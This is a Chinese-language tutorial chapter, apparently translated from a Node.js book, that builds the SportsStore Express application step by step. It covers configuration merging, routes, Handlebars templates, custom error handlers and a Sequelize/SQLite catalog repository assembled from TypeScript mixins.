对于配置系统来说,环境非常重要,因为它允许基本配置文件通过针对每个环境的特定设置进行补充。定义配置设置的最简单方法是使用 JSON 格式,该格式可以在运行时解析为 JavaScript 对象。可以从多个配置文件中读取对象,以创建整体配置。JavaScript 没有集成合并对象的支持,因此向 src/config 文件夹中添加一个名为 merge.ts 的文件,其内容如 列表 16.10 所示。

列表 16.10:src/config 文件夹中 merge.ts 文件的内容

export const merge = (target: any, source: any) : any => {
    Object.keys(source).forEach(key => {
        if (typeof source[key] === "object"
                && !Array.isArray(source[key])) {
            if (Object.hasOwn(target, key)) {
                merge(target[key], source[key]);
            } else {
                Object.assign(target, source[key])
            }
        } else {
            target[key] = source[key];
        }
    });
} 

merge 函数接受 sourcetarget 对象,并将 source 对象中定义的属性复制到 target 中,覆盖现有值。接下来,将一个名为 index.ts 的文件添加到 src/config 文件夹中,其内容如 列表 16.11 所示。

列表 16.11:src/config 文件夹中 index.ts 文件的内容

import { readFileSync } from "fs";
import { getEnvironment, Env } from "./environment";
import { merge } from "./merge";
const file = process.env.SERVER_CONFIG ?? "server.config.json"
const data = JSON.parse(readFileSync(file).toString());
try {
    const envFile = getEnvironment().toString() + "." + file;
    const envData = JSON.parse(readFileSync(envFile).toString());
    merge(data, envData);
} catch {
    // do nothing - file doesn't exist or isn't readable
}
export const getConfig = (path: string, defaultVal: any = undefined) : any => {
    const paths = path.split(":");
    let val = data;
    paths.forEach(p => val = val[p]);
    return val ?? defaultVal;
}
export { getEnvironment, Env }; 

清单 16.11 中的代码使用一个名为 SERVER_CONFIG 的环境变量来获取配置文件名称,如果变量未定义,则回退到 server.config.json。文件内容被读取并与特定环境的相关文件合并,该文件名称通过附加当前环境名称确定,例如 production.server.config.jsongetConfig 函数接受形式为 http:port 的字符串,其中键由冒号(: 字符)分隔。键用于在配置数据中导航以找到值。可以提供一个默认值,如果配置文件中没有加载值,则返回该默认值。

注意

大多数平台上都可以设置环境变量,但 Node.js 还支持 .env 文件,可以用来设置值,并且可以通过 Node 的 --env-file 参数加载。在 第二十一章 中,我将设置环境变量作为准备应用程序部署的容器化过程的一部分。

要开始配置,请将一个名为 server.config.json 的文件添加到 sportsstore 文件夹中,其内容如 清单 16.12 所示。

清单 16.12SportsStore 文件夹中 server.config.json 文件的内容

{
    "http": {
        "port": 5000
    }
} 

配置文件定义了一个名为 http 的部分,其中包含 port 设置。清单 16.13 更新了 server.ts 文件以使用此配置设置来监听 HTTP 请求,如果未定义配置设置,则使用回退值。

清单 16.13:在 src 文件夹中的 server.ts 文件中使用配置数据

import { createServer } from "http";
import express, { Express } from "express";
import helmet from "helmet";
**import { getConfig } from "./config";**
**const port = getConfig("http:port", 5000);**
const expressApp: Express = express();
expressApp.use(helmet());
expressApp.use(express.json());
expressApp.use(express.urlencoded({extended: true}))
expressApp.get("/", (req, resp) => {
    resp.send("Hello, SportsStore");
})
const server = createServer(expressApp);
server.listen(port,
    () => console.log(`HTTP Server listening on port ${port}`)); 

随着新功能的添加,配置文件将被填充,但总体效果是允许应用程序使用的设置更改而不修改代码文件。

添加应用程序路由

随着应用程序的增长,将会有大量 HTTP 路由需要定义和管理,因此引入一种允许相关路由分组并易于定位的结构将非常有用。创建 src/routes 文件夹,并向其中添加一个名为 catalog.ts 的文件,其内容如 清单 16.14 所示。

清单 16.14src/routes 文件夹中 catalog.ts 文件的内容

import { Express } from "express";
export const createCatalogRoutes = (app: Express) => {
    app.get("/", (req, resp) => {
        resp.send("Hello, SportsStore Route");
    })
} 

此文件将包含向用户展示产品目录的路由,但目前包含一个占位符。为了将单个路由模块合并以便在单个步骤中应用,请将一个名为 index.ts 的文件添加到 src/routes 文件夹中,其内容如 清单 16.15 所示。

清单 16.15src/routes 文件夹中 index.ts 文件的内容

import { Express } from "express";
import { createCatalogRoutes } from "./catalog";
export const createRoutes = (app: Express) => {
    createCatalogRoutes(app);
} 

清单 16.16 使用新模块来启用其定义的路由。

清单 16.16:将路由应用到 src 文件夹中的 server.ts 文件

import { createServer } from "http";
import express, { Express } from "express";
import helmet from "helmet";
import { getConfig } from "./config";
**import { createRoutes } from "./routes";**
const port = getConfig("http:port", 5000);
const expressApp: Express = express();
expressApp.use(helmet());
expressApp.use(express.json());
expressApp.use(express.urlencoded({extended: true}))
**// expressApp.get("/", (req, resp) => {**
**//     resp.send("Hello, SportsStore");**
**// })**
**createRoutes(expressApp);**
const server = createServer(expressApp);
server.listen(port,
    () => console.log(`HTTP Server listening on port ${port}`)); 

使用网络浏览器请求 http://localhost:5000,你将看到 图 16.2 中所示的响应,该响应显示请求处理程序已由 清单 16.14 中定义。

![图片 B21959_16_02.png]

图 16.2:单独模块对路由的影响

添加对 HTML 模板的支持

将使用 HTML 模板来渲染呈现给用户的内容。在 sportsstore 文件夹中运行 列表 16.17 中显示的命令来安装支持模板所需的包。

列表 16.17:安装模板包

npm install bootstrap@5.3.2
npm install handlebars@4.7.8
npm install express-handlebars@7.1.2 

这些包在 表 16.4 中描述,以便快速参考。

表 16.4:模板包

名称 描述
bootstrap 此包包含用于样式化应用程序生成的 HTML 内容的 CSS 样式表。
handlebars 此包包含 Handlebars 模板引擎,该引擎在第十章中介绍。
express-handlebars 此包将 Handlebars 模板引擎与 Express 包集成。

如第十章所述,Handlebars 包渲染的模板依赖于辅助函数而不是包含代码表达式。创建 src/helpers 文件夹,并向其中添加一个名为 env.ts 的文件,其内容如 列表 16.18 所示。

列表 16.18:src/helpers 文件夹中 env.ts 文件的内容

import { Env, getEnvironment } from "../config";
export const isDevelopment = (value: any) => {
    return getEnvironment() === Env.Development
} 

isDevelopment 辅助函数可用于确定应用程序是否已配置为开发或生产模式。为了设置模板系统,将一个名为 index.ts 的文件添加到 src/helpers 文件夹中,其内容如 列表 16.19 所示。

列表 16.19. src/helpers 文件夹中 index.ts 文件的内容

import { Express } from "express";
import { getConfig } from "../config";
import { engine } from "express-handlebars";
import * as env_helpers from "./env";
const location = getConfig("templates:location");
const config = getConfig("templates:config");
export const createTemplates = (app: Express) => {
    app.set("views", location);
    app.engine("handlebars", engine({
        ...config, helpers: {...env_helpers }
    }));
    app.set("view engine", "handlebars");
} 

createTemplates 函数配置模板引擎并将其注册到 Express 中。将设置添加到配置文件中,如 列表 16.20 所示。

列表 16.20:向 SportsStore 文件夹中的 server.config.json 文件添加设置

{
    "http": {
        "port": 5000
    },
    **"templates": {**
 **"location": "templates",**
 **"config": {**
 **"layoutsDir": "templates",**
 **"defaultLayout":** **"main_layout.handlebars",**
 **"partialsDir": "templates"**
 **}**
 **}**
} 

列表 16.11 中定义的 getConfig 函数可用于获取整个配置部分以及单个值,并且可以使用这些部分直接配置包。此语句用于获取配置部分:

...
const **config** = getConfig("templates:config");
... 

结果是一个对象,其属性对应于配置文件的 templates:config 部分,该部分已从 JSON 解析为 JavaScript 对象并用于配置模板引擎:

...
app.engine("handlebars", engine({
    ...**config**, helpers: {...env_helpers }
}));
... 

从配置文件中读取的属性与从 helpers 模块导入的辅助函数相结合。

注意

列表 16.20 配置了模板引擎,使得模板、部分和布局都在同一个文件夹中。这并非强制要求,但我更喜欢将文件放在一起,并使用文件名来指示模板渲染的内容。

创建布局和模板

创建 sportsstore/templates 文件夹,并向其中添加一个名为 index.handlebars 的文件,其占位符内容如 列表 16.21 所示。

列表 16.21:模板文件夹中 index.handlebars 文件的内容

<div class="h4 m-2">Hello, SportsStore</div> 

将一个名为 main_layout.handlebars 的文件添加到模板文件夹中,其内容如 列表 16.22 所示。

列表 16.22:模板文件夹中 main_layout.handlebars 文件的内容

<!DOCTYPE html>
<html>
    <head>
        <link href="/css/bootstrap.min.css" rel="stylesheet" />
    </head>
    <body>
        <div class="bg-dark text-white p-2">
            <span class="navbar-brand ml-2">SPORTS STORE</span>
        </div>
        {{{ body }}}
    </body>
</html> 

布局包含一个包含来自 Bootstrap 包的 CSS 样式表 link 元素和 SportsStore 标头的 HTML 文档。清单 16.23 完成了模板的设置。

列表 16.23:在 src 文件夹中的 server.ts 文件中完成模板设置

import { createServer } from "http";
import express, { Express } from "express";
import helmet from "helmet";
import { getConfig } from "./config";
import { createRoutes } from "./routes";
i**mport { createTemplates } from "./helpers";**
const port = getConfig("http:port", 5000);
const expressApp: Express = express();
expressApp.use(helmet());
expressApp.use(express.json());
expressApp.use(express.urlencoded({extended: true}))
**expressApp.use(express.static("node_modules/bootstrap/dist"));**
**createTemplates(expressApp);**
createRoutes(expressApp);
const server = createServer(expressApp);
server.listen(port,
    () => console.log(`HTTP Server listening on port ${port}`)); 

除了调用 createTemplates 函数外,清单 16.23 还使用 Express 的 static 中间件来服务 Bootstrap 包的内容。清单 16.24 使用模板来渲染响应,而不是返回一个纯字符串。

列表 16.24:在 src/routes 文件夹中的 catalog.ts 文件中使用模板

import { Express } from "express";
export const createCatalogRoutes = (app: Express) => {
    app.get("/", (req, resp) => {
        **//resp.send("Hello, SportsStore Route");**
 **resp.render("index");**
    })
} 

使用浏览器请求 http://localhost:5000,您将看到 图 16.3 中显示的响应,该响应使用模板和布局生成。

图 16.3:向应用程序添加布局

创建错误处理器

当请求一个没有处理器的 URL 或处理器抛出错误时,Express 包括生成响应的支持。为了演示默认错误处理器并准备自定义替换,清单 16.25 定义了总是创建错误的路由。

列表 16.25:在 src/routes 文件夹中的 catalog.ts 文件中创建错误

import { Express } from "express";
export const createCatalogRoutes = (app: Express) => {
    app.get("/", (req, resp) => {
        resp.render("index");
    })
    **app.get("/err", (req, resp) => {**
 **throw new Error ("Something bad happened");**
 **});**

 **app.get("/asyncerr"****, async (req, resp) => {**
 **throw new Error ("Something bad happened asynchronously");**
 **});**
} 

使用浏览器请求 http://localhost:5000/nosuchfile,您将看到 Express 创建的默认响应,如 图 16.3 左侧所示。当没有处理器生成响应时,将显示此错误。使用浏览器请求 http://localhost:5000/err,您将看到 图 16.4 中显示的其他错误消息。

图 16.4:默认 Express 错误消息

错误处理器不处理由异步处理器抛出的错误。您可以通过请求 http://localhost:5000/asyncerr 来查看问题。堆栈跟踪将被写入 Node.js 控制台,但不会向浏览器发送任何响应,浏览器最终会假设应用程序已拒绝接受 HTTP 请求。

有一个优秀的包增加了对异步处理器中错误的支持。在 sportsstore 文件夹中运行 清单 16.26 中显示的命令,将名为 express-async-errors 的包添加到项目中。

列表 16.26:添加异步错误包

npm install express-async-errors@3.1.1 

为了快速参考,此包在 表 16.5 中进行了描述。

表 16.5:错误包

名称 描述
express-async-errors 此包增加了对异步请求处理器产生的错误的支持。

自定义错误处理器将使用模板来显示格式化的响应。将一个名为 not_found.handlebars 的文件添加到 templates 文件夹中,其内容如 清单 16.27 所示。

列表 16.27:templates 文件夹中 not_found.handlebars 文件的内容

<div class="h2 bg-danger text-white text-center p-2 my-2">
    404 - Not Found
</div>
<div class="text-center">
    <a class="btn btn-secondary" href="/">OK</a>
</div> 

当请求不匹配路由时,将渲染此模板。它不包含任何动态内容,但将在默认布局中显示。接下来,将名为 error.handlebars 的文件添加到 templates 文件夹中,其内容如 清单 16.28 所示。

清单 16.28:模板文件夹中 error.handlebars 文件的内容

<div class="h2 bg-danger text-white text-center p-2 my-2">
    500 - Error
</div>
<div class="text-center">
    <a class="btn btn-secondary" href="/">OK</a>
</div>
{{#if (isDevelopment) }}
    <div class="h4 bg-danger text-white p-1 mt-2">Error Details</div>
    <div class="h5 p-1">Message: {{ error.message }}</div>
    <div class="font-monospace p-1">{{error.stack}}</div>
 {{/if }} 

此模板使用 isDevelopment 辅助器在开发环境中配置应用程序时包含错误的详细信息。清单 16.29 添加了一个新的配置部分,指定错误模板文件。

清单 16.29:在 SportsStore 文件夹中的 server.config.json 文件中添加配置部分

{
    "http": {
        "port": 5000
    },
    "templates": {
        "location": "templates",
        "config": {
            "layoutsDir": "templates",
            "defaultLayout": "main_layout.handlebars",
            "partialsDir": "templates"
        }
    },
   ** "errors": {**
 **"400": "not_found",**
 **"500": "error"**
 **}** 
} 

将名为 errors.ts 的文件添加到 src 文件夹中,其内容如 清单 16.30 所示。此文件导入 express-async-errors 模块,这是使用此包所需的所有内容,并定义了使用模板生成响应的错误处理器。

清单 16.30:src 文件夹中 errors.ts 文件的内容

import { Express, ErrorRequestHandler } from "express";
import { getConfig } from "./config";
import "express-async-errors";
const template400 = getConfig("errors:400");
const template500 = getConfig("errors:500");
export const createErrorHandlers = (app: Express) => {
    app.use((req, resp) => {
        resp.statusCode = 404;
        resp.render(template400);
    });
    const handler: ErrorRequestHandler = (error, req, resp, next) => {
        console.log(error);
        if (resp.headersSent) {
            return next(error);
        }
        try {
            resp.statusCode = 500;
            resp.render(template500, { error} );
        } catch (newErr) {
            next(error);
        }
    }
    app.use(handler);
} 

createErrorHandlers 函数设置了一个请求处理器,该处理器将生成 404 响应,并且当收到请求时将是最后一个运行的处理器。还有一个错误处理器,它类似于中间件组件,但有一个额外的 error 参数。在渲染错误响应时可能会出错,在这种情况下将使用默认的错误处理器。为了防止新的错误被显示给用户,使用了 try/catch 块,并且 catch 子句使用原始错误调用 next 方法,这告诉 Express 需要处理哪个错误。

为了完成设置,清单 16.31 在应用程序启动时调用 createErrorHandlers 函数。

清单 16.31:在 src 文件夹中的 server.ts 文件中设置错误处理器

import { createServer } from "http";
import express, { Express } from "express";
import helmet from "helmet";
import { getConfig } from "./config";
import { createRoutes } from "./routes";
import { createTemplates } from "./helpers";
**import { createErrorHandlers } from "./errors";**
const port = getConfig("http:port", 5000);
const expressApp: Express = express();
expressApp.use(helmet());
expressApp.use(express.json());
expressApp.use(express.urlencoded({extended: true}))
expressApp.use(express.static("node_modules/bootstrap/dist"));
createTemplates(expressApp);
createRoutes(expressApp);
**createErrorHandlers****(expressApp);**
const server = createServer(expressApp);
server.listen(port,
    () => console.log(`HTTP Server listening on port ${port}`)); 

保存更改,并使用浏览器请求 http://localhost:5000/nosuchfilehttp://localhost:5000/errhttp://localhost:5000/asyncerr。现在异步错误被正确处理,用户将看到自定义的错误响应,如 图 16.5 所示。

图 16.5:自定义错误响应

开始数据模型

一旦基本构建块就位,就到了开始工作于数据模型的时候了。对于 SportsStore 应用程序,关键数据是从中客户将进行选择的商品目录。在 sportsstore 文件夹中运行 清单 16.32 中显示的命令以安装数据存储包。

清单 16.32:添加数据存储包

npm install sqlite3@5.1.6
npm install sequelize@6.35.1 

为了快速参考,这些包在 表 16.6 中进行了描述。我将在开发期间使用 SQLite,因为它易于设置,然后在 第二十一章 中将其更改为 PostgreSQL,这是一个更传统的数据库服务器,以准备部署。

表 16.6:数据包

名称 描述
sqlite3 此包包含 SQLite 数据库管理器,其数据存储在文件中,并在第十二章中首次使用。
sequelize 此包包含 Sequelize ORM 框架,它将关系数据映射到 JavaScript 对象,并在第十二章中介绍。

创建网络应用的数据模型有多种方式。正如我在第十二章中解释的,我喜欢使用一个仓库,它允许隐藏数据存储的细节,不让应用的其他部分知道。创建 src/data 文件夹,并向其中添加一个名为 catalog_models.ts 的文件,其内容如列表 16.33所示。

列表 16.33:src/data 文件夹中 catalog_models.ts 文件的内容

export interface  Product {
    id?: number;
    name: string;
    description: string;
    price: number;

    category?: Category;
    supplier?: Supplier;
}
export interface Category {
    id?: number;
    name: string;
    products?: Product[];
}
export interface Supplier {
    id?: number;
    name: string;

    products?: Product[];
} 

此文件定义了三个模型接口,为基本产品目录提供了构建块。一个真正的在线商店会有更复杂的数据模型,但其中许多额外的复杂性都与外部流程相关,例如采购、配送、客户服务等,这些都不会是 SportsStore 应用程序的一部分。列表 16.33中的这三个接口足以开始。要描述一个仓库,请向 src/data 文件夹中添加一个名为 catalog_repository.ts 的文件,其内容如列表 16.34所示。

列表 16.34:src/data 文件夹中 catalog_repository.ts 文件的内容

import { Category, Product, Supplier } from "./catalog_models";
export interface CatalogRepository {
    getProducts(): Promise<Product[]>;
    storeProduct(p: Product): Promise<Product>;
    getCategories() : Promise<Category[]>;
    storeCategory(c: Category): Promise<Category>;
    getSuppliers(): Promise<Supplier[]>;
    storeSupplier(s: Supplier): Promise<Supplier>;
} 

CatalogRepository 接口定义了查询和存储实现 ProductCategorySupplier 接口的对象的方法。

实现仓库

使用仓库意味着数据存储的细节不必与应用其他部分使用数据的方式相匹配。例如,在第十二章中,我使用了一组转换函数将数据库读取的数据转换为应用其他部分期望的格式。这很好,因为它意味着应用以自然的方式获取数据,而仓库则获取易于存储和查询的数据。缺点是数据必须在仓库和应用其他部分之间传递时进行转换。

另一种方法是实现仓库以不进行转换的方式存储数据,确保查询数据库的结果,例如,是符合应用其他部分期望的对象类型。这种方法不需要转换函数,但可能需要一些努力来覆盖 ORM 包的默认行为。这就是我打算为 SportsStore 应用程序采取的方法。

注意

如果你使用的是对象数据库,如 MongoDB,或者如果你在不需要 ORM 包的情况下编写原生 SQL 查询,这并不是问题。然而,正如第十二章中提到的,关系数据库被大多数项目使用,ORM 包允许开发者执行复杂的查询,而无需深入了解 SQL。

要开始,创建 src/data/orm/models 文件夹,并向其中添加一个名为 catalog_models.ts 的文件,其内容如 列表 16.35 所示。

列表 16.35:src/data/orm/models 文件夹中 catalog_models.ts 文件的内容

import { Model, CreationOptional, ForeignKey, InferAttributes,
    InferCreationAttributes  } from "sequelize";
export class ProductModel extends Model<InferAttributes<ProductModel>,
        InferCreationAttributes<ProductModel>> {
    declare id?: CreationOptional<number>;
    declare name: string;
    declare description: string;
    declare price: number;
    declare categoryId: ForeignKey<CategoryModel["id"]>;
    declare supplierId: ForeignKey<SupplierModel["id"]>;
    declare category?: InferAttributes<CategoryModel>
    declare supplier?: InferAttributes<SupplierModel>
}
export class CategoryModel extends Model<InferAttributes<CategoryModel>,
        InferCreationAttributes<CategoryModel>>   {
    declare id?: CreationOptional<number>;
    declare name: string;

    declare products?:  InferAttributes<ProductModel>[];
}
export class SupplierModel extends Model<InferAttributes<SupplierModel>,
        InferCreationAttributes<SupplierModel>>  {
    declare id?: CreationOptional<number>;  
    declare name: string;
    declare products?:  InferAttributes<ProductModel>[];
} 

ProductModelCategoryModelSupplierModel 类符合 列表 16.33 中定义的接口,需要添加一些用于关系数据库存储的额外功能,这意味着 ORM 包创建的对象将具有应用程序其他部分期望的属性的超集——特别是 ProductModel 类定义的 categoryIdsupplierId 属性,这些属性代表了数据库表中之间的关系。

要描述模型类之间的格式和关系,请将一个名为 catalog_helpers.ts 的文件添加到 src/data/orm/models 文件夹中,其内容如 列表 16.36 所示。

定义数据模型的迭代过程

确定此示例的 Sequelize 配置花费了几个小时的时间进行试错,这在书籍示例的线性进展中不容易传达。我在实现存储库的初始实现的同时编写了 列表 16.35 中的代码。这确保了数据存储和查询按预期工作,并且每次我进行更改时都会重置数据库。

在此过程中有两个挑战:确保数据库模式合理,并且结果符合模型接口。

为了检查模式,我使用了出色的 DB Browser for SQLite (sqlitebrowser.org) 包,它允许打开和检查 SQLite 数据库。这使我能够检查是否已正确配置 Sequelize 来创建表之间的关系,并且它还允许我检查数据是否按预期写入。

为了检查数据对象是否正确创建,我查询数据库并将结果作为 JSON 数据写入。这揭示了 Sequelize 创建的对象的结构,并让我看到数据库中的列是如何表示为 JavaScript 对象属性的。

一旦你确认 Sequelize 正确创建了数据对象,最后一步就是确保你已经使用 declare 关键字准确描述了这些对象。请注意,应用于模型类的 TypeScript 注释不会被 Sequelize 使用,它们只存在是为了让 TypeScript 编译器检查数据的使用方式。类型注解在运行时没有效果,因为 Sequelize 会动态创建对象,所以重要的是确认数据是以你期望的方式存储和检索的,并且类型注解正确地描述了这些过程。

这可能是一个耗时的过程——对于一些人来说,这是支持对象数据库的一个论点——但有条不紊地工作并在每次更改后检查结果将帮助你保持正确的方向。

Listing 16.36src/data/orm/models 文件夹中 catalog_helpers.ts 文件的内容

import { DataTypes, Sequelize } from "sequelize";
import { CategoryModel, ProductModel, SupplierModel } from "./catalog_models";
const primaryKey = {
    id: { type: DataTypes.INTEGER, autoIncrement: true, primaryKey: true }
};
export const initializeCatalogModels = (sequelize: Sequelize) => {
    ProductModel.init({
        ...primaryKey,
        name: { type: DataTypes.STRING},       
        description: { type: DataTypes.STRING},
        price: { type: DataTypes.DECIMAL(10, 2) }
    }, { sequelize })
    CategoryModel.init({
        ...primaryKey,
        name: { type: DataTypes.STRING}
    }, { sequelize });
    SupplierModel.init({
        ...primaryKey,
        name: { type: DataTypes.STRING}
    }, { sequelize})
    ProductModel.belongsTo(CategoryModel,
        { foreignKey: "categoryId", as: "category"});   
    ProductModel.belongsTo(SupplierModel,
        { foreignKey: "supplierId", as: "supplier"});
    CategoryModel.hasMany(ProductModel,
        { foreignKey: "categoryId", as: "products"});
    SupplierModel.hasMany(ProductModel,
        { foreignKey: "supplierId", as: "products"});
} 

initializeCatalogModels 函数接受一个 Sequelize 对象,用于初始化模型类并创建它们之间的关系。用于创建模型之间关系的 belongsTohasMany 方法接受一个配置对象,用于覆盖用于外键和关联属性的默认名称。

要完成初始 ORM 模型,请将一个名为 index.ts 的文件添加到 src/data/orm/models 文件夹中,其内容如 Listing 16.37 所示。

Listing 16.37src/data/orm/models 文件夹中 index.ts 文件的内容

import { Sequelize } from "sequelize";
import { initializeCatalogModels } from "./catalog_helpers";
export { ProductModel, CategoryModel, SupplierModel } from "./catalog_models";
export const initializeModels = (sequelize: Sequelize) => {
    initializeCatalogModels(sequelize);
} 

此文件将在创建新的模型类时更新,并有助于组织应用程序不同部分所需的功能。

创建存储库类

我对存储库的偏好是将代码拆分成更小的部分,这样更容易维护。这纯粹是个人风格的问题,但我不喜欢大型的代码文件,如果我可以将像存储库这样的东西拆分成更易于管理的部分,我愿意接受一定程度的复杂性。

JavaScript 支持这种开发方式的方式被称为 混入,其中类被定义为函数的结果,这允许逐步构建复杂的功能。要开始实现存储库,请将一个名为 core.ts 的文件添加到 src/data/orm 文件夹中,其内容如 Listing 16.38 所示。

Listing 16.38src/data/orm 文件夹中 core.ts 文件的内容

import { Sequelize } from "sequelize";
import { getConfig } from "../../config";
import { initializeModels, CategoryModel, ProductModel, SupplierModel }
    from "./models";
import { readFileSync } from "fs";
const config = getConfig("catalog:orm_repo");
const logging = config.logging
        ? { logging: console.log, logQueryParameters: true}
        : { logging: false };
export class BaseRepo {
    sequelize: Sequelize;

    constructor() {
        this.sequelize = new Sequelize({ ...config.settings, ...logging })
        this.initModelsAndDatabase();
    }
    async initModelsAndDatabase() : Promise<void> {
        initializeModels(this.sequelize);
        if (config.reset_db) {
            await this.sequelize.drop();
            await this.sequelize.sync();
            await this.addSeedData();
        } else {
            await this.sequelize.sync();           
        }
    }   
    async addSeedData() {
        const data = JSON.parse(readFileSync(config.seed_file).toString());
        await this.sequelize.transaction(async (transaction) => {
            await SupplierModel.bulkCreate(data.suppliers, { transaction });
            await CategoryModel.bulkCreate(data.categories, { transaction });
            await ProductModel.bulkCreate(data.products, { transaction });
        });
    }   
}
export type Constructor<T = {}> = new (...args: any[]) => T; 

BaseRepo 类负责配置 Sequelize,这是通过读取配置部分,附加日志设置并调用构造函数来完成的。有一个名为 initModelsAndDatabase 的模型,它调用 initializeModels 函数,如果配置了,则重置数据库并调用 addSeedData 方法用种子数据填充数据库。addSeedData 方法读取一个 JSON 数据文件,并使用 SequelizebulkCreate 方法在单个操作中存储多个对象,这是一种填充数据库的好方法。Listing 16.38 中的最后一条语句定义了一个类型,它将被用于创建 mixin,并代表一个可以用 new 关键字实例化的类型。

下一步是定义查询功能。将一个名为 queries.ts 的文件添加到 src/data/orm 文件夹中,其内容如 Listing 16.39 所示。

Listing 16.39src/data/orm 文件夹中 queries.ts 文件的内容

import { CategoryModel, ProductModel, SupplierModel } from "./models";
import { BaseRepo, Constructor } from "./core"
export function AddQueries<TBase extends Constructor<BaseRepo>>(Base: TBase) {
    return class extends Base {
        getProducts() {
            return ProductModel.findAll({
                include: [
                    {model: SupplierModel, as: "supplier" },
                    {model: CategoryModel, as: "category"}],
                raw: true, nest: true
            });
        }

        getCategories() {
            return CategoryModel.findAll({
                raw: true, nest: true
            })
        }

        getSuppliers() {
            return SupplierModel.findAll({
                raw: true, nest:true
            });
        }       
    }
} 

AddQueries 函数接受一个基类并返回一个新的类,该类添加了 getProductsgetCategoriesgetSuppliers 方法。getProducts 方法在其查询中包含关联数据,并且需要 modelas 属性与 Listing 16.36 中的配置匹配,在那里 Sequelize 使用的默认属性名称被覆盖,以便查询结果符合数据模型接口。

所有查询方法都配置了rawnest选项设置为true。由Sequelize创建的对象不能直接与 Handlebars 模板引擎一起使用,这限制了属性的定义方式。Sequelize对象看起来像一个普通的 JavaScript 对象,但值以允许跟踪更改的方式呈现,以便数据库可以更新,这与 Handlebars 对处理的数据的期望相反。raw选项告诉Sequelize不要处理它接收到的数据,这意味着创建了简单的数据对象。nest选项确保嵌套值,如为关联数据生成的值,以嵌套数据对象的形式呈现。

这些配置设置在本书的第二部分中不是必需的,因为使用了转换函数,这意味着由Sequelize创建的对象不是模板引擎所消费的对象。使用raw设置在从数据库读取的数据结构自然匹配应用程序所需的数据结构时有效,这取决于正在执行的查询。对于具有复杂数据关联的查询——其中一些示例将在后续章节中给出——raw关键字将产生无法直接使用的结果,在这些情况下,最佳方法是允许Sequelize处理结果,然后使用所有Sequelize模型对象继承的toJSON方法创建可以用于模板的简单对象。

用于描述AddQueries函数的泛型类型参数允许 TypeScript 理解结果结合了基类定义的功能以及新方法。如前所述,这种方式不是必需的,但它确实允许以易于维护的方式定义少量相关功能,并将它们组合以生成更复杂的组件。

要实现存储库存储方法,将名为storage.ts的文件添加到src/data/orm文件夹中,其内容如列表 16.40所示。

列表 16.40:src/data/orm 文件夹中 storage.ts 文件的内容

import { Transaction } from "sequelize";
import { Category, Product, Supplier } from "../catalog_models";
import { CategoryModel, ProductModel, SupplierModel } from "./models";
import { BaseRepo, Constructor } from "./core"
export function AddStorage<TBase extends Constructor<BaseRepo>>(Base: TBase)  {
    return class extends Base {
        storeProduct(p: Product) {
            return  this.sequelize.transaction(async (transaction) => {

                if (p.category) {
                    p.category = await this.storeCategory(p.category)
                }
                if (p.supplier) {
                    p.supplier = await this.storeSupplier(p.supplier);
                }

                const [stored] = await ProductModel.upsert({
                    id: p.id, name: p.name, description: p.description,
                    price: p.price, categoryId: p.category?.id,
                    supplierId: p.supplier?.id
                }, { transaction });
                return stored;
            });
        }

        async storeCategory(c: Category, transaction?: Transaction) {
            const [stored] = await CategoryModel.upsert({
                id: c.id, name: c.name
            }, { transaction});
            return stored;
        }

        async storeSupplier(s: Supplier, transaction?: Transaction) {
            const [stored] = await SupplierModel.upsert({
                id: s.id, name: s.name
            }, {transaction});
            return stored;
        }      
    }
} 

storeCategorystoreSupplier方法定义了可选参数,允许操作包含在事务中。因为这些参数是可选的,所以这些方法是存储库接口定义的有效实现。storeProduct方法使用事务参数确保数据以原子方式写入,而使用混合函数意味着在列表 16.38中定义的sequelize属性在列表 16.40中是可访问的。所有三个方法都使用upsert方法创建或更新数据(如果它已存在),这意味着它们可以用于存储和更新数据。

要将混合函数的三个部分组合成一个类,将名为index.ts的文件添加到src/data/orm文件夹中,其内容如列表 16.41所示。

列表 16.41:src/data/orm 文件夹中 index.ts 文件的内容

import { CatalogRepository } from "../catalog_repository";
import { BaseRepo } from "./core";
import { AddQueries } from "./queries";
import { AddStorage } from "./storage";
const RepoWithQueries = AddQueries(BaseRepo);
const CompleteRepo = AddStorage(RepoWithQueries);
export const CatalogRepoImpl = CompleteRepo; 

创建 mixin 的过程首先是通过调用向 BaseRepo 类添加查询方法的函数开始的,如下所示:

...
const RepoWithQueries = **AddQueries**(BaseRepo);
... 

结果是一个结合了基功能和查询方法的类,并将其传递给添加存储方法的函数:

...
const CompleteRepo = **AddStorage**(RepoWithQueries);
... 

结果是一个定义了所有方法的类,可以使用新关键字实例化。组合后的类可以实例化并用作 CategoryRepository 接口的实现:

...
export const **CatalogRepoImpl** = CompleteRepo;
... 

我喜欢以这种方式组合功能,我发现能够将存储方法与查询方法分开很有用,例如,但我欣赏不是每个人都像我一样不喜欢长代码文件。然而,即使你不想在你的项目中采用这种技术,它也证明了 JavaScript 提供的将功能与类表达式组合的灵活性。

注意

我使用一个仓库来处理 SportsStore 应用程序的主要部分。然而,为了展示替代方案,第二十章 中的管理功能是通过在 HTTP 请求处理器中直接与 Sequelize 交互来实现的。

为了实例化仓库实现,以便整个应用程序可以使用该实例,请将一个名为 index.ts 的文件添加到 src/data 文件夹中,其内容如 列表 16.42 所示。

列表 16.42:src/data 文件夹中 index.ts 文件的内容

import { CatalogRepository } from "./catalog_repository";
import { CatalogRepoImpl} from "./orm";
export const catalog_repository: CatalogRepository = new CatalogRepoImpl(); 

此文件将成为在后续章节中创建和添加仓库接口实现的地方,因为随着不同类型的数据被添加到应用程序中。但到目前为止,该文件导出一个名为 catalog_repository 的对象,该对象实现了 CatalogRepository 接口。请注意,TypeScript 编译器可以确定方法的组合符合 CatalogRepository 接口。

定义配置设置

仓库是通过配置设置设置的,这些设置在 列表 16.43 中定义。

列表 16.43:向 SportsStore 文件夹中的 server.config.json 文件添加设置

{
    "http": {
        "port": 5000
    },
    "templates": {
        "location": "templates",
        "config": {
            "layoutsDir": "templates",
            "defaultLayout": "main_layout.handlebars",
            "partialsDir": "templates"
        }
    },
    "errors": {
        "400": "not_found",
        "500": "error"
    },
   ** "catalog": {**
 **"orm_repo": {**
 **"settings": {**
 **"dialect": "sqlite",**
 **"storage": "****catalog.db"**
 **},**
 **"logging": true,**
 **"reset_db": true,**
 **"seed_file": "products.json"**
 **}**
 **}**
} 

catalog:orm_repo 部分由 列表 16.38 中定义的基类读取。settings 部分传递给 Sequelize 构造函数,并指定数据应存储在名为 catalog.db 的 SQLite 数据库文件中。logging 设置确定仓库是否配置 Sequelize 记录消息,而 rest_db 设置确定每次创建仓库时数据库是否重置并初始化,这在开发期间可能很有用,但在 第二十一章 中准备应用程序部署时将被禁用。

